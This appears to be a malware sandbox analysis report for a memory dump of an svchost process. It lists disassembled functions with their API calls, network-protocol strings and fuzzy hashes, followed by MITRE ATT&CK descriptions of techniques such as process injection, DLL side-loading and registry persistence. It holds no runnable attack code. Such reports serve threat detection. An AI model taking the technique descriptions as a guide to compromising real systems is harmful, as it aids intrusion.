Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 5b8da2930924676327b981dcf17569e15eac1f162896e2a0a93f538f370f3328
Instruction ID: f0cb97ca960554ee4739eb376defdd9cb6181a872e621e640e3e557a5db61921
Opcode Fuzzy Hash: 5b8da2930924676327b981dcf17569e15eac1f162896e2a0a93f538f370f3328
Instruction Fuzzy Hash: 29E0523A219D1182EB649FA6EC9416CA370E78CFA5F4402218E3E46224FF28C996D660

Function 00000173D017A6E0 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 163COMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140 ref: 00000173D017A738

Strings

Received HTTP/0.9 when not allowed, xrefs: 00000173D017A947
Invalid status line, xrefs: 00000173D017A921
RTSP/, xrefs: 00000173D017A7BF

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: memchr
String ID: Invalid status line$RTSP/$Received HTTP/0.9 when not allowed
API String ID: 3297308162-903287913
Opcode ID: cbe728620d90e39a8cb8637eac0b06d9a3a889e952a1e181f7a61fe4b81597c9
Instruction ID: 49e5669a0f40c58804dd2902bb66db10bbef3c00a39e5aa28aaef14d4e88bac7
Opcode Fuzzy Hash: cbe728620d90e39a8cb8637eac0b06d9a3a889e952a1e181f7a61fe4b81597c9
Instruction Fuzzy Hash: 7E51823960C68085FB35DAA2D8153ED96B0A7C6FC4FD440359E6E5B786FF38C64AA301

Function 00000173D0175520 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

_time64.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00000173D017555A
memmove.VCRUNTIME140 ref: 00000173D0175594
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01755F8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0175601

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: free$_time64memmove
String ID:
API String ID: 1971662853-0
Opcode ID: f8389c08a02813519fde331f50694b02712b134fcce863080d228978a737b810
Instruction ID: 7a0d1dfe300cd6020abda8d270144cd773835a579d1be41128ce90b337b5152d
Opcode Fuzzy Hash: f8389c08a02813519fde331f50694b02712b134fcce863080d228978a737b810
Instruction Fuzzy Hash: 9241D37920D68485FB319BA5D9443EDE6B0A785FE4FC806209E7D037C6FB78C646A700

Function 00000173D018E7C9 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140 ref: 00000173D018E820
memchr.VCRUNTIME140 ref: 00000173D018E83C
memchr.VCRUNTIME140 ref: 00000173D018E858

Strings

Got unexpected pop3-server response, xrefs: 00000173D018E7EF

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: memchr
String ID: Got unexpected pop3-server response
API String ID: 3297308162-2372289448
Opcode ID: f9e41d15f7de78c7c7a9a09fb5e2e5eda402558c9c52b3c7b7a9e4399ca61276
Instruction ID: 78328623b9b1248033fbc258c941b90d11de48933ad175ffdeeb319233562b8b
Opcode Fuzzy Hash: f9e41d15f7de78c7c7a9a09fb5e2e5eda402558c9c52b3c7b7a9e4399ca61276
Instruction Fuzzy Hash: 5921817930D68091FA799A91D4943E992F1B746FC0FC400259E2E4B795FF3DCB85A740

Function 00000173D0162780 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00000173D01627BF
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01627CF
WideCharToMultiByte.KERNEL32 ref: 00000173D0162800
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D016280D

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: ByteCharMultiWide$freemalloc
String ID:
API String ID: 2605342592-0
Opcode ID: deae8b2ba28c56d303df31542f47040e42c3e4a46138e759e1aaf1c128e49a55
Instruction ID: baa5c5efe34a54eb9d61605fb70dafa9697e0c33b33e96cfd16ec89c3bd7229d
Opcode Fuzzy Hash: deae8b2ba28c56d303df31542f47040e42c3e4a46138e759e1aaf1c128e49a55
Instruction Fuzzy Hash: DB11BF35709F8186E6208F96FC4415AB7B4F788FE0F984228DB6A47B90EF38C9409300

Function 00000173D01BA480 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000173D01BA4AC
GetCurrentThreadId.KERNEL32 ref: 00000173D01BA4BA
GetCurrentProcessId.KERNEL32 ref: 00000173D01BA4C6
QueryPerformanceCounter.KERNEL32 ref: 00000173D01BA4D6

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 29168334428bd3c89460ca0a44bc26e6ba7efa86438a5e6a027f7a53120f7b51
Instruction ID: 1ebfab2b1df188c3ae729799becd748afe3de2855c0f5c721210cb168a89c6f7
Opcode Fuzzy Hash: 29168334428bd3c89460ca0a44bc26e6ba7efa86438a5e6a027f7a53120f7b51
Instruction Fuzzy Hash: 5B115E3A714F048AEB10DFA0E8543E973B4F71AB98F840E21DA7D46BA4EB78C254D340

Function 00000173D0162830 Relevance: 6.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 00000173D01626D0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00000173D0162847,?,?,?,00000173D0151F41), ref: 00000173D0162705
Part of subcall function 00000173D01626D0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000173D0162847,?,?,?,00000173D0151F41), ref: 00000173D0162718
Part of subcall function 00000173D01626D0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00000173D0162847,?,?,?,00000173D0151F41), ref: 00000173D016273F
Part of subcall function 00000173D01626D0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000173D0162847,?,?,?,00000173D0151F41), ref: 00000173D016274C

_wfopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,00000173D0151F41), ref: 00000173D0162865
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000173D0151F41), ref: 00000173D0162870
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000173D0151F41), ref: 00000173D0162886
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000173D0151F41), ref: 00000173D0162894

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: free$ByteCharMultiWide$_errno_wfopenmalloc
String ID:
API String ID: 26091681-0
Opcode ID: 0375d0a80efc25c1632f5b2a13e08bbf5fe38608e71b0cbecf084b794a4d6a9c
Instruction ID: 3b54c8b77c870b374065e46c71d3fdcfdeb76b7c2f60cc21b7751f106cfae0e6
Opcode Fuzzy Hash: 0375d0a80efc25c1632f5b2a13e08bbf5fe38608e71b0cbecf084b794a4d6a9c
Instruction Fuzzy Hash: 93F01239709E5542F9665B92ED442AED3B4AB49FD0FC94420DD2E0BF49EF6CC6465300

Function 00000173D01B9315 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMON

Download Yara Rule

APIs

SimpleString::operator=.MSOBJ140-MSVCRT ref: 00000173D01B95E0

Strings

GMT, xrefs: 00000173D01B937A
%u%.2s-%.2s-%.2s %.2s:%.2s:%.2s %.*s, xrefs: 00000173D01B93D8

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: SimpleString::operator=
String ID: %u%.2s-%.2s-%.2s %.2s:%.2s:%.2s %.*s$GMT
API String ID: 356670603-632690687
Opcode ID: c139e50391b70ccb2fa4ff49b315b3c0ef2b79c9b06f4873976a75099094eb7b
Instruction ID: 84033f5155db2605562988b7ba75820cb5c359edfe01e54feaf8fb267a69a663
Opcode Fuzzy Hash: c139e50391b70ccb2fa4ff49b315b3c0ef2b79c9b06f4873976a75099094eb7b
Instruction Fuzzy Hash: DB41813A21C68541FB328BA4D5903E9E7F5F746BC0FC44011EAAD46A95FBA8C742E740

Function 00000173D017F4D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76stringCOMMON

Download Yara Rule

APIs

strcspn.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D017F505
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D017F518

Strings

() {%*]\", xrefs: 00000173D017F4FE

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: _strdupstrcspn
String ID: () {%*]\"
API String ID: 3695213020-4142237831
Opcode ID: 89d4a67e625d9b8a49ff68337f47ee4a115f86f08829ce9b1e7f958f16d99cf7
Instruction ID: f2c935f268bf7c378e322a26527f0603874bb958a69bbf7d6a600e608bc8c2b3
Opcode Fuzzy Hash: 89d4a67e625d9b8a49ff68337f47ee4a115f86f08829ce9b1e7f958f16d99cf7
Instruction Fuzzy Hash: 6331C77521C65582FB309BA2E8403DAD3B0A794FD8FC80215D9BD466D5FB58C782A740

Function 00000173D01B9644 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 48COMMON

Download Yara Rule

APIs

SimpleString::operator=.MSOBJ140-MSVCRT ref: 00000173D01B9671

Strings

TRUE, xrefs: 00000173D01B965C
FALSE, xrefs: 00000173D01B9663

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: SimpleString::operator=
String ID: FALSE$TRUE
API String ID: 356670603-1412513891
Opcode ID: 03abd6730b94028f8763ce21799859eead7c6dadb3cf727f05930935d344efe6
Instruction ID: db669fcef67412bf91b553f15db88c2081aca9f29e75efc0e92f896700324452
Opcode Fuzzy Hash: 03abd6730b94028f8763ce21799859eead7c6dadb3cf727f05930935d344efe6
Instruction Fuzzy Hash: 0A11373A718B5585EB229BA5E8403DDA3B1F346BC8FC00016DE1D57799EF69C686D340

Function 00000173D01A65C0 Relevance: 5.1, APIs: 4, Instructions: 117COMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(?,?,?,00000173D01974AD), ref: 00000173D01A65EF
memchr.VCRUNTIME140(?,?,?,00000173D01974AD), ref: 00000173D01A660F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000173D01974AD), ref: 00000173D01A66FB
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000173D01974AD), ref: 00000173D01A6704

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: freememchr
String ID:
API String ID: 3588846894-0
Opcode ID: ecd64efe92de18348549a7f54997d043584ff7eec4dc6e9751064a17b2e88cd4
Instruction ID: 9605410cbea67880ad9e7d5efb17052b3212c44c89b6a54298aa987c0af42a09
Opcode Fuzzy Hash: ecd64efe92de18348549a7f54997d043584ff7eec4dc6e9751064a17b2e88cd4
Instruction Fuzzy Hash: E341847930AB8491FE369F96E5043D9D2A5BB44FC0F9C45399E6D1BB84FB38D643A200

Function 00000173D01626D0 Relevance: 5.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,?,?,?,00000173D0162847,?,?,?,00000173D0151F41), ref: 00000173D0162705
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000173D0162847,?,?,?,00000173D0151F41), ref: 00000173D0162718
MultiByteToWideChar.KERNEL32(?,?,?,?,?,00000173D0162847,?,?,?,00000173D0151F41), ref: 00000173D016273F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000173D0162847,?,?,?,00000173D0151F41), ref: 00000173D016274C

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: ByteCharMultiWide$freemalloc
String ID:
API String ID: 2605342592-0
Opcode ID: 931d6c35e9fe268eca5583942666c254eb2cd039136a9fc39b460f039c27a7a2
Instruction ID: 31761be0ea6671d26b294de0320ec26b7de081701ff522448cfac19f8108c469
Opcode Fuzzy Hash: 931d6c35e9fe268eca5583942666c254eb2cd039136a9fc39b460f039c27a7a2
Instruction Fuzzy Hash: 62015639708B9081EA34DB9AF96015AB6B1BB89FD4F984235DE6D47F94EF38C5409700

Function 00000173D0182510 Relevance: 5.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 00000173D0197E60: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0197E87
Part of subcall function 00000173D0197E60: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0197E93

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0182547
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0182557
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0182565
memset.VCRUNTIME140 ref: 00000173D018259B

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: free$memset
String ID:
API String ID: 2717317152-0
Opcode ID: 2b1dc2818ecf8dc806e4130d1acf5419a652ad905e6fe6ce4fc11dbb93dd343d
Instruction ID: 380800acd5f407f14dc3bd2c808f2f9b863e02a2c5a9b54f39d2d48c7314a32e
Opcode Fuzzy Hash: 2b1dc2818ecf8dc806e4130d1acf5419a652ad905e6fe6ce4fc11dbb93dd343d
Instruction Fuzzy Hash: 78118932918B8082E710DF75D9803ACA3B0FBA9F88F405306DE9802629FF30C6D0C340

Function 00000173D01756A0 Relevance: 5.0, APIs: 4, Instructions: 37COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01756EA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01756F3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0175707
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0175710

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f635f827b8e96118afdf7968be939b1854f014a7f653dba6dbc723d86cd3ecaa
Instruction ID: 0c72e370bccd9185219d1a1a394e429d84543552d5d78cbc5de24b8cb0056b52
Opcode Fuzzy Hash: f635f827b8e96118afdf7968be939b1854f014a7f653dba6dbc723d86cd3ecaa
Instruction Fuzzy Hash: EE011E39619B5181FA64DB96E89439DA3B0B788FD0F881121EEAE07B55FF38C5429740

Function 00000173D0179650 Relevance: 5.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00000173D017EBCD,?,?,?,?,?,?,00000000,?,?,00000173D0153E76), ref: 00000173D0179661
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00000173D017EBCD,?,?,?,?,?,?,00000000,?,?,00000173D0153E76), ref: 00000173D017966B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00000173D017EBCD,?,?,?,?,?,?,00000000,?,?,00000173D0153E76), ref: 00000173D0179675

Part of subcall function 00000173D01680A0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,00000173D017978E,?,00000000,00000173D017EA60,?,?,?,?,?,?,00000000,?), ref: 00000173D01680D7
Part of subcall function 00000173D01680A0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,00000173D017978E,?,00000000,00000173D017EA60,?,?,?,?,?,?,00000000,?), ref: 00000173D01680F7

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00000173D017EBCD,?,?,?,?,?,?,00000000,?,?,00000173D0153E76), ref: 00000173D0179690

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: cf8c19424e0a4b96fc0f2330f5a49ced331e330c04acc1dd072ecd1812284f7d
Instruction ID: ad4da6e9e97061898799922e9d3725d0b8603cbc35be0b0ed39bba273d841ab5
Opcode Fuzzy Hash: cf8c19424e0a4b96fc0f2330f5a49ced331e330c04acc1dd072ecd1812284f7d
Instruction Fuzzy Hash: 34E0E539219815C1FF64AFA5DC942AC9330EB98F95FD412119D2E42165FF24CA8AD350

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
